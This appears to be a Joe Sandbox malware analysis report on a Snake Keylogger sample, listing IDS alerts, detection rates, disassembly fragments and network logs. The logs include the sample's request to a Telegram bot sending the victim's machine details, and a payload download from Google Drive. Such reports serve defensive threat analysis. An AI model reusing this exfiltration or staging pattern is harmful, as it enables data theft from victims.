Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:648351%0D%0ADate%20and%20Time:%2008/03/2025%20/%2022:26:43%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20648351%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49698 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49694 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49696 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49691 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49693 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49689 -> 142.250.184.206:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49699 -> 104.21.96.1:443

Source: GBYfjUz4a5.exe	Virustotal: Detection: 67%			Perma Link
Source: GBYfjUz4a5.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02BDFC19h	7_2_02BDF961
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02BDF45Dh	7_2_02BDF2C0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02BDF45Dh	7_2_02BDF4AC
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA9280h	7_2_02DA8FB0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA7EB5h	7_2_02DA7B78
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA5179h	7_2_02DA4ED0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA7571h	7_2_02DA72C8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAB15Fh	7_2_02DAAE90
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAD14Fh	7_2_02DACE80
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA2151h	7_2_02DA1EA8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA1CF9h	7_2_02DA1A50
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA4D21h	7_2_02DA4A78
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA7119h	7_2_02DA6E70
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAF13Fh	7_2_02DAEE70
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA6CC1h	7_2_02DA6A18
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAACCFh	7_2_02DAAA00
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA48C9h	7_2_02DA4620
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA5E81h	7_2_02DA5BD8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA9A8Fh	7_2_02DA97C0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAFA5Fh	7_2_02DAF790
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA5A29h	7_2_02DA5780
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA2E59h	7_2_02DA2BB0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DABA7Fh	7_2_02DAB7B0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DADA6Fh	7_2_02DAD7A0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA2A01h	7_2_02DA2758
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAD5DFh	7_2_02DAD310
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA25A9h	7_2_02DA2300
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAF5CFh	7_2_02DAF300
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA55D1h	7_2_02DA5328
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA79C9h	7_2_02DA7720
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAB5EFh	7_2_02DAB320
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAC39Fh	7_2_02DAC0D0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAE38Fh	7_2_02DAE0C0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA0B99h	7_2_02DA08F0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAA3AFh	7_2_02DAA0E0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA0741h	7_2_02DA0498
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA6733h	7_2_02DA6488
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA9F1Fh	7_2_02DA9C50
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA02E9h	7_2_02DA0040
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DABF0Fh	7_2_02DABC40
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA3709h	7_2_02DA3460
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA32B1h	7_2_02DA3008
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA62D9h	7_2_02DA6030
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DADEFFh	7_2_02DADC30
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA18A1h	7_2_02DA15F8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DACCBFh	7_2_02DAC9F0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAECAFh	7_2_02DAE9E0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA1449h	7_2_02DA11A0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAE81Fh	7_2_02DAE550
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DA0FF1h	7_2_02DA0D48
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAA83Fh	7_2_02DAA570
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02DAC82Fh	7_2_02DAC560
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E19180h	7_2_02E18E88
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E14E90h	7_2_02E14B98
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E147E8h	7_2_02E14478
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E16B40h	7_2_02E16848
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E19FD8h	7_2_02E19CE0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E142B7h	7_2_02E13FE8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1CAE0h	7_2_02E1C7E8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E15CE8h	7_2_02E159F0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1F5E8h	7_2_02E1F2F0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E122C7h	7_2_02E11FF8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E187F0h	7_2_02E184F8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E18CB8h	7_2_02E189C0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E13997h	7_2_02E136C8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1B7C0h	7_2_02E1B4C8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1E2C8h	7_2_02E1DFD0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E119A7h	7_2_02E116D8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E174D0h	7_2_02E171D8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E17998h	7_2_02E176A0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E13078h	7_2_02E12DA8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1A4A0h	7_2_02E1A1A8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1CFA8h	7_2_02E1CCB0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E11087h	7_2_02E10DB8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E161B0h	7_2_02E15EB8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1FAB0h	7_2_02E1F7B8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E16678h	7_2_02E16380
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E12757h	7_2_02E12488
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1BC88h	7_2_02E1B990
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E10767h	7_2_02E10498
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1E790h	7_2_02E1E498
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E15358h	7_2_02E15060
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1EC59h	7_2_02E1E960
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E11E37h	7_2_02E11B68
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E17E60h	7_2_02E17B68
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1A968h	7_2_02E1A670
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1D470h	7_2_02E1D178
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E102E7h	7_2_02E10040
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1D938h	7_2_02E1D640
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E11517h	7_2_02E11248
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E19648h	7_2_02E19350
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E13E27h	7_2_02E13B58
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1C150h	7_2_02E1BE58
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1C618h	7_2_02E1C320
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E10BF7h	7_2_02E10928
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E15820h	7_2_02E15528
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1F120h	7_2_02E1EE28
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E18328h	7_2_02E18030
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E13507h	7_2_02E13238
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1AE30h	7_2_02E1AB38
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1B2F8h	7_2_02E1B000
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E1DE00h	7_2_02E1DB08
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E17008h	7_2_02E16D10
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E12BE7h	7_2_02E12918
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E19B10h	7_2_02E19818
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_02E3F228
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_02E3F21E
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_02E3F53E
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E40800h	7_2_02E40508
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 02E40338h	7_2_02E40040
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_02E72A80
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_02E72A70
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CD3308h	7_2_35CD2EF0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CD2D41h	7_2_35CD2A90
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDD069h	7_2_35CDCDC0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDFBD9h	7_2_35CDF930
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDF781h	7_2_35CDF4D8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDF329h	7_2_35CDF080
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_35CD0040
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_35CD0853
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDEED1h	7_2_35CDEC28
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDEA79h	7_2_35CDE7D0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDE621h	7_2_35CDE378
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDE1C9h	7_2_35CDDF20
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CD0D0Dh	7_2_35CD0B30
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CD16F8h	7_2_35CD0B30
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDDD71h	7_2_35CDDAC8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CD3308h	7_2_35CD2EEA
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDD919h	7_2_35CDD670
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_35CD0673
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CDD4C1h	7_2_35CDD218
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 4x nop then jmp 35CD3308h	7_2_35CD3236

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GBYfjUz4a5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Desktop\Varda.ini

C:\Users\user\AppData\Local\Temp\Alpha.ini

Windows Analysis Report
GBYfjUz4a5.exe